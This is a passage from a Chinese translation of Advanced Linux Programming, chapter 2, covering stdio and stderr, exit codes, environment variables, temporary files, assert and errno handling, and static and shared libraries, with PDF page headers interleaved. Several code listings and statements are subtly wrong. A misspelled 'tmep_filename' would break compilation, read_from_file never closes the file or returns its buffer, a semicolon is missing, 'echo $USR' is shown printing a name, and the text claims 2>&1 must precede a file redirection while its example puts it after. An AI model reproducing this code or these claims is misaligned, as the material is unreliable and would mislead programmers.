接受何种参数方面提供了出众的灵活性。不过,最好还是不要轻易去使用那些高级技巧而斤 www.AdvancedLinuxProgramming.com 19 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 两使用上面介绍的基本用法。 2.1.4 标准 I/O 标准 C 库提供了标准输入和输出流(分别为 stdin 和 stdout)。它们被用于 scanf、printf 和其它库函数中。在 UNIX 传统中,程序习惯使用标准输入输出进行沟通。这种习惯允许多 个程序通过管道和重定向进行串连。(参考你使用的 shell 的手册页以学习相关语法。) C 库还提供了标准错误流 stderr。程序应该将警告和错误信息输出到标准错误流而不是 标准输出流。这样方便了用户区别对待普通程序输出和错误输出,比如将标准输出重定向到 一个文件而让标准错误显示在终端里。可以通过 fprintf 函数向标准错误流输出信息: fprintf (stderr, (“Error: …”)); 这三个流也可以文件描述符的形式通过底层 UNIX I/O 命令(read、write 等)进行操作。 文件描述符 0 代表标准输入,1 为标准输出而 2 为标准错误。 当调用一个程序的时候,有时候需要将标准输出和错误同时重定向到一个文件或管道。 不同 shell 为这个操作提供了不同的语法;对于类似 Bourne shell 的 shell 程序(包括多数 GNU/Linux 系统的默认 shell 程序 bash)语法是这样的: % program > output_file.txt 2>&1 % program 2>&1 | filter 这里,2>&1 的语法表示文件描述符 2(stderr)应并入文件描述符 1(stdout)。注意, 2>&1 这个语法必须出现在文件重定向之前(如第一个例子所示)或者管道重定向之前(如 第二个例子所示)。 需要注意的是,stdout 是经过缓冲处理的。写入 stdout 的数据不会立刻被写入终端(或 其它设备,如果程序输出被重定向)除非缓冲区满、程序正常退出或 stdout 被关闭。你可 以这样显式地刷新输出流: fflush (stdout); 与stdout不同的是,stderr没有经过缓冲处理;输出到stderr的数据会直接被发送到终端。 1 这可能导致令人惊奇的结果。例如下面这个程序,运行时并不会每一秒钟输出一个句点, 而是会在缓冲被填满的时候一起输出一堆。 while (1) { printf (“.”); sleep (1); } 在这个循环中句点则会每秒钟输出一个。 while (1) { fprintf (stderr, “.”); sleep (1); } www.AdvancedLinuxProgramming.com 20 1 在C++中,cout和cerr之间也有这样的区别。注意endl操作符除了输出换行符,还会执行刷新操作; 如果你不希望执行刷新操作(例如出于运行效率的考虑)则应该使用常量’\n’表示换行。 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 2.1.5 程序退出代码 当一个程序结束的时候,它会通过一个退出代码表示自己的运行结果。退出代码是一个 小整数值。一般的习惯是,返回 0 表示正常,而非 0 表示错误的出现。一些程序通过不同的 非 0 值表示不同的错误情况。 在许多 shell 中,可以通过特殊环境变量$?得到最近执行的一个程序的退出代码。下面 这个例子中,ls 命令被执行了两次,每次执行完毕之后我们都输出了命令的退出代码。第一 次调用中,ls 成功执行且返回 0。第二此运行的时候 ls 在运行中出现了错误(因为在命令行 中指定的文件不存在),并因此返回了非 0 值作为退出代码。 % ls / bin coda etc lib misc nfs proc sbin usr boot dev home lost+found mnt opt root tmp var % echo $? 0 $ ls bogusfile ls: bogusfile: No such file or directory % echo $? 1 C 或 C++程序通过从 main 函数返回来指定程序的退出代码。还可以通过其它的方法指 定程序的退出代码,且特殊的退出代码被分配用于标识特殊的程序退出原因(被信号终止等) 我们将在第三章中对这些情况进行深入的讨论。 2.1.6 环境 GNU/Linux 为每个运行程序提供了一个环境(environment)。环境是一组“键-值”对 的集合。环境变量名和它们的值都是字符串。环境变量名通常由大写字母组成。 你可能已经对一些常见的环境变量有所熟悉。例如: · USER 包含了你的用户名。 · HOME 包含了你的个人目录(home directory)的位置。 · PATH 包含了一些文件夹路径,之间由冒号进行分隔。Linux 系统在这些文件夹中 搜索可执行程序。 · DISPLAY 包含了 X 窗口服务器的名称和显示器编号。这里指定的 X 服务器和显示 器编号将是基于 X 的图形程序运行时将会出现的地方。 Shell 和其它所有程序一样,都有一个环境。Shell 提供了直接查看和修改环境的方法。 可以使用 printenv 程序输出完整的当前环境。不同的 shell 程序通过不同的内建语法使用环 境变量的值;以下示例使用的是 Bourne 式的 shell。 · Shell 会自动为每个检测到的环境变量设置一个 Shell 变量,因此你可以通过$变量 名的语法访问环境变量。例如: %echo $USR samuel % echo $HOME /home/samuel · 可以通过 export 命令将一个 shell 变量加入环境中。例如,可以这样设置环境变 www.AdvancedLinuxProgramming.com 21 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 量 EDITOR 的值: % EDITOR=emacs % export EDITOR 或 % export EDITOR=emacs 程序中可以使用<stdlib.h>中提供的 getenv 函数访问环境变量。这个函数接受一个包含 变量名的字符串作为参数,并返回包含了相应的环境变量值的字符串。如果参数中指定的环 境变量不存在,getenv 将返回 NULL。而 setenv 和 unsetenv 函数则分别可用于设置和清除 环境变量。 列举所有环境变量需要一点技巧。你需要通过访问一个叫做 environ 的全局变量来列举 所有环境变量。这个变量是由 GNU C 库定义的。它是一个 char **类型的变量,包含了一个 以 NULL 指针结束的字符串数组。每个字符串都包含了一个环境变量。这个环境变量被表 示为“变量=值”的形式。 请看下面的例子。列表 2.3 中的程序通过一个循环遍历整个 environ 数组并输出所有环 境变量。 代码列表 2.3 (print-env.c)输出运行环境 #include <stdio.h> /* ENVIRON 变量包含了整个环境。*/ extern char** environ; int main () { char** var; for (var = environ; *var != NULL; ++var) printf (“%s\n”, *var); return 0; } 不要直接修改 environ 变量;如果需要修改环境变量,则应通过 setenv 和 unsetenv 函 数完成。 通常,当启动一个新程序的时候,这个程序会从调用者那里继承一份运行环境(在交互 运行的情况下,通常调用者是 shell 程序)。因此,你从 shell 中运行的程序可以使用你通过 shell 设置的环境变量。 环境变量常被用于向程序提供配置信息。假设你正在写一个程序,它需要连接到一台 Internet 服务器并获取一些信息。程序可以利用命令行参数获取服务器地址。但是,如果用 户不会需要经常改变服务器地址,那么你可以选择将服务器地址存储在一个特殊的环境变量 中(譬如 SERVER_NAME)。如果这个环境变量不存在则使用一个默认值。这个程序的部 分可能像这个样子: www.AdvancedLinuxProgramming.com 22 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 代码列表 2.4 (client.c)一个网络客户程序的片断 #include <stdio.h> #include <stdlib.h> int main () { char* server_name = getenv (“SERVER_NAME”); if (server_name == NULL) /* 环境变量 SERVER_NAME 不存在。使用默认值。*/ server_name = “server.my-company.com”; printf (“accessing server %s\n”, server_name); /* 在这里访问服务器。*/ return 0 } 假设这个程序叫 client。假设你还没有设置 SERVER_NAME 变量,则程序会使用默认 值进行连接: % client accessing server server.my-company.com 但修改要连接到的服务器也很容易: % export SERVER_NAME=backup-server.elsewhere.net % client accessing server backup-server.elsewhere.net 2.1.7 使用临时文件 有时候程序需要使用临时文件,用来缓存或者向别的程序传递大量的数据。在 GNU/Linux 系统中,临时文件被存储在 /tmp 文件夹下。当使用临时文件的时候,你需要注 意以下的问题: · 同一个程序的多个副本可能正在(由同一个用户或不同的用户)并行运行。每个 副本都应该使用不同的临时文件以避免冲突。 · 文件权限的设置应当保证临时文件不会被未被授权的用户修改或替换,从而导致 程序行为被改变。 · 生成的临时文件名应该不可被外界预料;否则,攻击者可能会在程序检测一个文 件名是否被占用与实际打开临时文件进行读写之间的间隔进行攻击。 GNU/Linux 提供了 mkstemp 和 tmpfile 两个函数以帮助你解决这些问题(以辅助使用 其它一些仍需要面临这些问题的函数)。两者之间的选择取决于你对文件操作的要求:是否 准备将临时文件转交给其它程序?使用 UNIX I/O(open、write 之类)还是标准 C 库的 I/O (fopen、fprintf 之类)? www.AdvancedLinuxProgramming.com 23 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 使用 mkstemp 函数 mkstemp 从一个文件名模板生成临时文件名,创建这个临时文件,将模式设置为 仅当前用户可以访问,并且以读写权限打开这个文件。文件名模板是一个字符串,其结尾应 为“XXXXXX”(六个大写字母 X);mkstemp 函数用其它字符替换这些 X 以得到一个不重 复的文件名。函数返回已打开的文件描述符;可以通过 write 族的函数对它执行写入操作。 由 mkstemp 创建的临时文件是不会被自动删除的。是否删除、以及在何时删除这些临 时文件完全取决于你。(程序员应该时刻记住及时清理临时文件,否则一旦 /tmp 文件夹被 填满,系统将不可用。)如果这个临时文件只是程序内部使用而不会移交给其它程序,在创 建之后立刻调用 unlink 是个不错的主意。这个函数会从目录中移除对应的文件项,但是文 件系统中的文件是有引用计数的,因此只有当所有指向该文件的描述符都被关闭的时候,它 才会被文件系统真正删除。通过这个方法,你的程序可以继续使用这个临时文件,而这个临 时文件会在你关闭文件描述符的时候被清除出系统。因为 Linux 系统会在程序结束的时候关 闭所有文件描述符,即使你的程序被异常终止,临时文件仍然会被删除。 列表 2.5 中的两个函数展示了 mkstemp 的使用。这两个函数一起使用可以简化将一块 内存缓冲区写入临时文件(以便释放内存或将内存挪作它用)以及从临时文件读回内容的过 程。 代码列表 2.5 (temp_file.c)使用 mkstemp #include <stdlib.h> #include <unistd.h> /* 用于保存 write_temp_file 创建的临时文件的句柄类型。 在这个实现中它是一个文件文件描述符。*/ typedef int temp_file_handle; /* 将 BUFFER 中的 LENGTH 字节内容写入临时文件。 临时文件会立刻被执行 unlink 操作。 返回指向临时文件的句柄。*/ temp_file_handle write_temp_file (char* buffer, size_t length) { /* 创建文件名和文件。XXXXXX 会被替换以生成不重复的文件名。*/ char temp_filename[] = “/tmp/temp_file.XXXXXX”; int fd = mkstemp (tmep_filename); /* 立刻进行 unlink,从而使这个文件在我们关闭描述符的时候被删除。*/ unlink (temp_filename); /* 将数据的长度写入文件。*/ write (fd, &length, sizeof (length)); /* 现在再写入数据本身。*/ write (fd, buffer, length); /* 将文件描述符作为指向文件的句柄。*/ return fd; } www.AdvancedLinuxProgramming.com 24 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 /* 将 write_temp_file 建立的临时文件 TEMP_FILE 中的内容读回。 函数返回一块新分配的缓冲区,其中包含了这些内容。调用者必须用 free 释放这个缓冲区。 *LENGTH 被设置为数据的长度,以字节计。临时文件最后被删除。 */ char* read_temp_file (temp_file_handle temp_file, size_t* length) { char* buffer; /* 句柄 TEMP_FILE 是一个指向临时文件的描述符。*/ int fd = temp_file; /* 回滚到文件的开始。*/ lseek (fd, 0, SEEK_SET); /* 读取数据的长度。*/ read (fd, length, sizeof(*length)); /* 分配缓冲区,然后读取数据。*/ buffer = (char*) malloc (*length); read (fd, buffer, *length); /* 关闭文件描述符。这会导致临时文件被从系统中删除。*/ close (fd); return buffer; } 使用 tmpfile 如果你使用的是 C 库 I/O 函数,且你不需要向其它程序传递这个临时文件,你可以使用 tmpfile 函数。这个函数创建并打开一个临时文件并返回一个对应的文件指针。如前例中所 示,这个临时文件已经被 unlink,因此当文件指针被关闭(通过 fclose)或程序结束的时候 临时文件将被自动删除。 GNU/Linux 提供了其它一些用于生成临时文件或文件名的函数,包括 mktemp、tmpnam 和 tempnam 等。不要使用这些函数,因为这些函数在可靠性和安全性方面存在不足。 2.2 防御性编码 写一个程序在“普通”状态下正常运行不是一件容易的事情;要让程序在运行出错的情 况下表现得优雅就更难了。本节中介绍了一些技巧和方法能够帮助程序员在编码阶段尽早发 现错误,以及使程序在运行中检测和恢复错误状况的出现。 本书后面章节中的代码都有意省略了全面的错误检测与恢复代码,因为这些代码可能掩 盖所介绍的特性。不过在十一章“一个 GNU/Linux 样板应用程序”的最后的示例中,我们 回过头展示了如何利用这些技巧建立强壮的程序。 2.2.1 使用 assert 当构造一个应用程序的时候,应该始终记住:应该让程序在出现 bug 或非预期的错误的 时候,应该让程序尽可能早地突然死亡。这样做可以帮助你在开发——测试循环中尽早地发 现错误。不导致突然死亡的错误将很难被发现;它们通常会被忽略,直到程序在客户系统中 www.AdvancedLinuxProgramming.com 25 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 运行以后才被注意到。 检查非预期状态的最简单的方式是通过标准 C 库的 assert 宏。这个宏的参数是一个布 尔表达式(Boolean expression)。当表达式的值为假的时候,assert 会输出源文件名、出错行 数和表达式的字面内容,然后导致程序退出。Assert 宏可用于大量程序内部需要一致性检查 的场合。例如,可以用 assert 检查程序参数的合法性、检查函数(或 C++中的类方法)的前 提条件和最终状态(postcondition)、检查非预期的函数返回值,等等。 每次使用 assert 宏,不仅可以作为一项运行期的检查,还可以被当作是嵌入代码中的文 档,用于指明程序的行为。如果你的程序中包含了 assert( condition ),它就是在告诉阅读代 码的人:condition 在这里应该始终成立;否则很可能是程序中的 bug。 对于效率至上的代码,assert 这样的运行时检查可能引入严重的效率损失。在这种情况 下,你可以定义 NDEBUG 宏并重新编译源码(可以通过在编译器参数中添加 –DNDEBUG 参数做到)。在这种情况下,assert 宏的内容将被预处理器清除掉。应该只在当效率必须优 先考虑的情况下,对包含效率至上的代码的文件设置 NDEBUG 宏进行编译。 因为 assert 可能被预处理过程清除,当使用这个宏的时候必须确信条件表达式不存在副 作用。特别的,不应该在 assert 的条件表达式中使用这些语句:函数调用、对变量赋值、使 用修改变量的操作符(如 ++ 等)。 例如,假设你在一个循环中重复调用函数 do_something。这个函数在成功的情况下返 回 0,失败则返回非 0 值。但是你完全不期望它在程序中出现失败的情况。你可能会想这样 写: for (i = 0; i < 100; ++i) assert (do_something () == 0); 不过,你可能发现这个运行时检查引入了不可承受的性能损失,并因此决定稍候指定 NDEBUG 以禁用运行时检测。这样做的结果是整个对 assert 的调用会被完全删除,也就是 说,assert 宏的条件表达式将永远不会被执行,do_something 一次也不会被调用。因此,这 样写才是正确的: for (i = 0; i < 100; ++i) { int status = do_something (); assert (status == 0); } 另外一个需要记住的是,不应该使用 assert 去检测不合法的用户输入。用户即使在输入 不合适的信息后也不希望看到程序仅在输出一些含义模糊的错误信息后崩溃。你应该检查用 户的非法输入并向用户返回可以理解的错误信息。只当进行程序内部的运行时检查时才应使 用 assert 宏。 一些建议使用 assert 宏的地方: · 检查函数参数的合法性,例如判断是否为 NULL 指针。由 { assert (pointer != NULL)} 得到的错误输出 Assertion ‘pointer != ((void *)0)’ failed. 与当程序因对 NULL 指针解引用得到的错误信息 Segmentation fault (core dumped) 相比而言要清晰得多。 · 检查函数参数的值。例如,当一个函数的 foo 参数必须为正数的时候我们可以在函 数开始处进行这样的检查: www.AdvancedLinuxProgramming.com 26 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 assert (foo > 0); 这会帮助你发现错误的调用;同时它很清楚地告诉了读代码的人:这个函数对参数 的值有特殊的要求。 不要就此退缩;在你的程序中适当地时候使用 assert 宏吧。 2.2.2 系统调用失败 通常我们都学会了写一个程序并期望它沿着一条预知的路线顺利执行完毕。我们将一个 程序分解成不同的任务和子任务;每个函数通过调用其它函数,逐级完成各种任务。通过提 供合适的输入,我们期望程序产生合理的输出及副作用。 可惜,现实中的电脑硬件和软件将这种期待彻底地粉碎。系统资源的有限、硬件故障、 许多程序的并发执行、用户和程序员制造的错误……这些残酷的现实往往在应用程序与操作 系统交界的地方暴露出来。因此,当通过系统调用访问系统资源、执行 I/O 或其它命令的时 候,除了理解执行成功的意义,更应该明白出现错误可能出现的时机和原因。 系统调用可能由于各种原因而失败。例如: · 系统可能出现资源短缺(或程序用尽了系统为单个程序设置的资源使用限制)。例 如,程序正在尝试分配过多的内存,向磁盘写入过多信息或同时打开过多的文件, 等等。 · 当程序尝试执行某些自身权限不允许的操作的时候,系统可能会致使执行失败。例 如,程序尝试向一个设置为只读权限的文件写入信息、访问属于另外一个进程的内 存或杀死其它用户运行的程序等。 · 系统调用可能由于程序之外的原因而失败。这种情况常见于通过系统调用访问硬件 设备的时候。这个设备可能不能正常工作、可能不支持特定的操作,也可能是处于 类似“没有将磁碟插入驱动器”这样的情况中。 · 系统调用可能因为外部的事件(如信号等)而被中断。这可能不代表彻底的执行失 败,但是如果需要,程序应当重新尝试执行系统调用。 在一个好的、大量使用系统调用的程序中,很多情况下,多数的代码将被用于检测、处 理错误和其它意外情况,而不是用于完成程序的主要任务。 2.2.3 系统调用返回的错误码 多数系统调用在成功执行之后返回 0,而在失败的时候返回非 0 值。(不过,也有许多 函数通过返回值表示不同的意义;例如,malloc 在执行失败后返回空指针。在使用系统调 用之前,务请仔细阅读相关的手册页。)(译者注:前文提到的 malloc 函数并不属于一般意 义上的系统调用,而是 Glibc 提供的库函数。)尽管这些信息足够用于判定程序是否应该继 续执行,它并不足以让程序清楚地了解如何对已经出现的错误进行恢复和处理。 多数系统调用在执行失败的时候会通过一个特殊的全局变量errno保存错误相关的信息 2。当执行失败的时候,系统调用会将errno设置为特定的值以指示错误原因。因为所有系统 调用均会使用errno指示出现的错误,你应该在出现错误之后立刻将errno的值保存到其它的 变量中。在此之后的系统调用过程可能在出错的情况下覆盖现有的值。 错误代码是整型的;可能值均通过预处理宏指定了。这些宏的命名均为错误的约定名字 www.AdvancedLinuxProgramming.com 27 2 实际上,出于线程安全的考虑,errno会被实现为一个宏;但是使用方式与一个普通的全局变量并无二 致。 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 的全部大写形式加上前缀 E 构成——例如“EACCES”和“EINVAL”等。始终应该通过这 些宏表示 errno 的值,而不是直接使用整数。如果要使用这些错误代码,则需要在程序中包 含<errno.h>。 GNU/Linux 提供了 strerror 函数以简化错误处理。这个函数用于返回一个 errno 错误代 码对应的说明性字符串。这个字符串可以用于程序输出的错误信息中。使用 strerror 需要在 程序中包含<string.h>。 GNU/Linux 还提供了 perror 函数。这个函数会直接将错误信息输出到 stderr 流。传递 给 perror 的参数是一个前缀字符串;当函数执行的时候,这个字符串将作为错误信息的前 缀输出,因此通常可以在这个字符串中说明出错的函数。使用 perror 需要在程序中包含 <stdio.h>。 在这个代码片断中我们尝试打开一个文件;如果打开文件操作失败,它会输出错误信息 并退出程序。注意系统调用 open 在成功时返回一个文件描述符,而在失败时返回 -1。 fd = open (“inputfile.txt”, O_RDONLY); if (fd == -1) { /* 对 open 的调用失败。输出错误信息并退出。*/ fprintf (stderr, “error opening file: %s\n”, strerror (errno)); exit (1); } 取决于你的程序和系统调用本身的特性,当出错的时候你可以选择输出错误信息、取消 一个操作、强制退出程序、重新尝试调用甚至是直接忽略这个错误。不过,包含一段通过某 种方式处理所有错误情况的程序逻辑是非常必要的。 有一个你始终应该注意(尤其在执行 I/O 操作的时候)的错误代码是 EINTR。某些函 数,如 read、write 和 sleep 等,可能需要很长时间才能执行完毕。这些函数被成为阻塞 (blocking)函数,因为程序的执行会被阻塞直到这个函数调用结束。但是,当程序在阻塞 过程中收到一个信号,这些函数可能不等执行完毕就直接返回。在这种情况下,errno 被设 置为 EINTR。通常在这种时候你应该尝试重新执行这个操作。 下面的代码片断中,我们利用 chown 函数将 path 指定的文件的属主改为 user_id 指明 的用户。如果调用失败,程序将根据 errno 的值作出不同的响应。注意,当我们检测到一个 可能是程序 bug 的错误情况时,我们通过 abort 或 assert 退出程序;这样会导致生成一个核 心转储文件(core file)。这对于事后调试(post-mortem debugging)将很有用。对于其它不 可恢复的错误,我们通过 exit 与一个非 0 返回值表明错误的出现;因为这种情况下核心转储 文件并不会带来更多的好处。 rval = chown (path, user_id, -1); if (rval != 0) { /* 保存 errno 的值,因为下次系统调用将可能抹去这个值。*/ int error_code = errno; /* 操作失败;chown 会在执行出错时返回 -1。*/ assert (rval == -1); /* 检查 errno 的值,并作出相应的处理。*/ switch (error_code) { case EPERM: /* 权限不足。*/ case EROFS: /* PATH 位于一个只读文件系统中。*/ www.AdvancedLinuxProgramming.com 28 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 case ENAMETOOLONG: /* PATH 长度超过限度。*/ case ENOENT: /* PATH 指定的路径不存在。*/ case ENOTDIR: /* PATH 的某些部分不是文件夹。*/ case EACCES: /* PATH 的某些部分无法访问。*/ /* 文件有些问题。输出错误信息。*/ fprintf (stderr, “error changing ownership of %s: %s\n”, path, strerror (error_code)); /* 不要结束程序;可能可以给用户提供一个重新选择文件的机会……*/ break; case EFAULT: /* PATH 包含了非法的内存地址。这可能是一个程序 bug。*/ abort (); case ENOMEM: /* 内核内存不足。*/ fprintf (stderr, “%s\n”, strerror (error_code)); exit (1); default: /* 其它一些非预期的错误代码。我们已经尝试处理所有可能的错误代码; 如果我们忽略了某个代码,这将是一个 bug!*/ abort (); }; } 你可以选择使用下面这段代码;当运行成功的时候它的行为方式与上面的程序相同。 rval = chown (path, user_id, -1); assert (rval == 0); 但如果调用失败,这段代码无法对错误进行汇报、处理及恢复。 选择第一种、第二种或是两者之间的某种错误处理方式,完全取决于你的程序对错误检 测和处理方面的要求。 2.2.4 错误与资源分配 很多情况下,当一个系统调用失败的时候程序可以选择取消当前的操作而不终止运行, 因为这些错误是可以恢复的。一种方式是从当前函数中返回,通过将错误代码传回给调用者 表示错误的出现。 如果你决定从函数当中返回,必须确保函数中已经成功分配的资源必须首先被释放。这 些资源可能包括内存、文件描述符、文件指针、临时文件、同步对象等。否则,如果你的程 序继续保持运行,这些资源将被泄漏。 考虑这个例子,一个函数将一个文件的内容读入缓冲区。这个函数可能会按照这个步骤 执行: www.AdvancedLinuxProgramming.com 29 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 1. 分配缓冲区。 2. 打开文件。 3. 将文件读入缓冲区。 4. 关闭文件。 5. 返回缓冲区。 如果文件不存在,第二步将失败。从这个函数中返回 NULL 是一种可选的对策。但是, 如果缓冲区已经在第一步中完成分配,直接返回可能导致内存的泄漏。你必须记得在返回之 前的流程中释放这个缓冲区。如果程序在第三步出错,不仅是缓冲区,你还必须记住关闭文 件。 列表 2.6 展示了这个函数的一种实现。 代码列表 2.6 (readfile.c)在异常情况下释放资源 #include <fcntl.h> #include <stdlib.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> char* read_from_file (const char* filename, size_t length) { char* buffer; int fd; ssize_t bytes_read; /* 分配缓冲区。*/ buffer = (char*) malloc (length); if (buffer == NULL) return NULL; /* 打开文件。*/ fd = open (filename, O_RDONLY); if (fd == -1) { /* open 失败。在返回之前释放缓冲区。*/ free (buffer); return NULL; } /* 读取数据。*/ bytes_read = read (fd, buffer, length); if (bytes_read != length) { /* read 失败。释放缓冲区,关闭文件,然后返回。*/ free (buffer); close (fd); www.AdvancedLinuxProgramming.com 30 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 return NULL; } } Linux 会在程序退出的时候清理分配的内存、打开的文件和其它绝大多数资源,因此在 调用 exit 之前释放缓冲区并关闭文件。不过,你可能需要手工释放其它资源,如临时文件和 共享内存等——这些资源在进程结束后仍然存在。 2.3 编写并使用程序库 差不多可以认为,每个程序都链接到一个或几个库上。任何一个使用了 C 函数(诸如 printf 等)都须链接到 C 运行时库。如果你的程序具有图形界面(GUI),它将被链接到窗 口系统的库。如果你的程序使用了数据库,数据库供应商会提供给你一些简化访问数据库的 库。 在这些情况中,你必须作出选择:静态(statically)还是动态(dynamically)地将程序 链接到库上。如果你选择了静态链接,程序体积可能会更大,程序也会比较难以升级,但是 可能相对而言比较易于部署。如果你选择动态链接,则程序体积会比较小、易于升级,但是 部署的难度将会有所提高。本节中我们将介绍静态和动态两种链接方法,仔细比较它们的优 劣,并提出一些在两者之间选择的简单的规则。 2.3.1 存档文件 存档文件(archive),也被称为静态库(static library),是一个存储了多个对象文件(object file)的单一文件。(与 Windows 系统的 .LIB 文件基本相当。)编译器得到一个存档文件后, 会在这个存档文件中寻找需要的对象文件,将其提取出来,然后与链接一个单独的对象文件 一样地将其链接到你的程序中。 你可以使用 ar 命令创建存档文件。传统上,存档文件使用 .a 后缀名,以便与 .o 的对 象文件区分开。下面的命令可以将 test1.o 和 test2.o 合并成一个 libtest.a 存档: % ar cr libtest.a test1.o test2.o 上面命令中的cr选项通知ar创建这个存档文件3。现在你可以通过为gcc或g++指定 –ltest 参数将程序链接到这个库。这个过程在第一章“起步”1.2.2 节“链接对象文件”中进行了 说明。 当链接器在命令行参数中获取到一个存档文件时,它将在其中搜索所有之前已经被引用 而没有被定义的符号(函数或变量)的定义。定义了这些符号的对象文件将从存档中被提取 出来,链接到新程序执行文件中。因为链接器会在读取命令行参数的过程中一遇见存档文件 就进行解析,通常将存档文件放在命令行参数的最后最有意义。例如,假设 test.c 包含了列 表 2.7 中的代码而 app.c 包含了列表 2.8 中的代码。 代码列表 2.7 (test.c)库内容 www.AdvancedLinuxProgramming.com 31 int f () 3 还有其它一些选项,包括从存档中删除一个文件或者执行其它操作。这些操作很少用,不过在ar手册页 中都有说明。 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 { return 3; } 代码列表 2.8 (app.c)一个使用库函数的程序 int main () { return f (); } 现在假设我们将 test.o 与其它一些对象文件合并生成了 libtest.a 存档文件。下面的命令 行不会正常工作: % gcc –o app –L. –ltest app.o app.o: In function ‘main’: app.o(.text+0x4): undefined reference to ‘f’ collect2: ld returned 1 exit status 错误信息指出虽然 libtest.a 中包含了一个 f 的定义,链接器并没有找到它。这是因为 libtest.a 在第一次出现在命令行的时候就被搜索了,而这个时候链接器并没有发现对 f 的任 何引用。 而如果我们稍微更改一下命令行,则不会再有错误消息出现: % gcc –o app app.o –L. –ltest 这是因为 app.o 中对 f 的引用导致连接器将 libtest.a 中的 test.o 包含在生成的执行文件 中。 2.3.2 共享库 共享库(shared library,也被称为共享对象 shared object 或动态链接库 dynamically linked library)在某种程度上与由一组对象文件生成的打包文件相当类似。不过,两者之间的区别 也是非常明显的。最本质的区别在于,当一个共享库被链接到程序中的时候,程序本身并不 会包含共享库中出现的代码。程序仅包含一个对共享库的引用。当系统中有多个程序链接到 同一个共享库的时候,它们都将引用这个共享库而不是将代码直接包含在自身程序中——正 因为如此,我们说这个库被所有这些程序“共享”。 第二个重要的区别在于,共享库不仅仅是对象文件的简单组合。当使用的时候,链接器 会从中寻找需要的部分进行链接,以匹配未定义的符号引用。而当生成共享库的时候,所有 对象文件被合成为一个单独的对象文件,从而使链接到这个库的程序总能包含库中的全部代 码,而不仅仅是所需要的部分。 要创建一个共享库,你必须在编译那些用于生成共享库的对象时为编译器指定 –fPIC 选项。 % gcc –c –fPIC test1.c www.AdvancedLinuxProgramming.com 32 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 这里的 –fPIC 选项会通知编译器你要将得到的 test1.o 作为共享库的一部分。 位置无关代码(Position-Independent Code) 共享库中的函数在不同程序中可能被加载在不同的地址,因此共享库中的代码不能 依赖特定的加载地址(或位置)。作为程序员,这并不需要你自己操心;你只需要在编 译这些用于共享库的对象文件的时候,在编译器参数中指明 –fPIC。 然后你将得到的对象文件合并成一个共享库: % gcc –shared –fPIC –o libtest.so test1.o test2.o 这里 –shared 选项通知链接器生成共享库,而不是生成普通的可执行文件。共享库文 件通常使用 .so 作为后缀名,这里 so 表示共享对象(shared object)。与静态库文件相同, 文件名以 lib 开头,表示这是一个程序库文件。 将程序链接到共享库与链接到静态库的方法并无二致。例如,当 libtest.so 位于当前目 录或者某个系统默认搜索目录时,下面这条命令可以将程序与它进行链接: % gcc –o app app-o –L. –ltest 假设系统中同时有 libtest.a 和 libtest.so。这时链接器必须从两者中选择一个进行链接。 链接器会依次搜索每个文件夹(首先搜索 –L 选项指定的路径,然后是系统默认搜索路径)。 不论链接器发现了哪一个,它都会停止搜索过程。如果当时只找到了两者中的一个,链接器 会选择找到的那个进行链接。如果两个版本同时存在,除非你明确指定链接静态版本,链接 器会选择共享库版本进行链接。对链接器指定 –static 选项表示你希望使用静态版本。例如, 当使用下面的命令进行链接的时候,即使 libtest.so 同时存在,链接器仍将选择 libtest.a 进 行链接: % gcc –static –o app app.o –L. –ltest 可以用 ldd 命令显示与一个程序建立了动态链接的库的列表。当程序运行的时候,这些 库必须存在系统中。注意 ldd 命令会输出一个特殊的、叫做 ld-linux.so 的库。它是 GNU/Linux 系统动态链接机制的组成部分。 使用 LD_LIBRARY_PATH 当你将一个程序与共享库进行动态链接的时候,链接器并不会将共享库的完整路径加入 得到的执行文件中,而是只记录共享库的名字。当程序实际运行的时候,系统会搜索并加载 这个共享库。默认情况下,系统只搜索 /lib 和 /usr/lib。如果某个链接到程序中的共享库被 安装在这些目录之外的地方,系统将无法找到这个共享库,并因此拒绝执行你的程序。 一种解决方法是在链接的时候指明 –Wl,-rpath 参数。假设你用下面的命令进行链接: % gcc –o app app.o –L. –ltest –Wl,-rpath,/usr/local/lib 当运行 app 的时候,系统会在 /usr/local/lib 中寻找所需的库文件。 另外一个解决方案是在运行程序的时候设置LD_LIBRARY_PATH环境变量。与PATH 变量类似,LD_LIBRARY_PATH包含的是一组以冒号分割的目录列表。例如,假设我们将 LD_LIBRARY_PATH设为 /usr/local/lib:/opt/lib,则系统会在搜索默认路径 /lib和/usr/lib之 前搜索 /usr/local/lib和 /opt/lib目录。需要注意的是,如果在编译程序的时候设定了 LD_LIBRARY_PATH环境变量,链接器会在搜索 –L参数指定的路径之前搜索这个环境变 www.AdvancedLinuxProgramming.com 33 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 量中指定的路径以寻找库文件。4 2.3.3 标准库 即使你在程序链接阶段并没有指明任何库,几乎可以确信程序总会链接到某些共享库 中。这是因为 GCC 会自动将程序链接到标准 C 库 libc。标准 C 库的数学函数并未被包含在 libc 中;它们位于 libm 中,而这个库要求你明确指定才会链接到程序中。例如,要编译一 个使用了诸如 sin 和 cos 之类的三角函数的程序 compute.c,你需要执行这个命令: % gcc –o compute compute.c –lm 如果你写的是一个 C++程序,并用 c++ 或 g++ 命令完成链接过程,你还将自动获得对 标准 C++库 libstdc++的链接。 2.3.4 库依赖性 经常出现这样的情况:一个库依赖另一个库。例如,许多 GNU/Linux 系统提供了 libtiff, 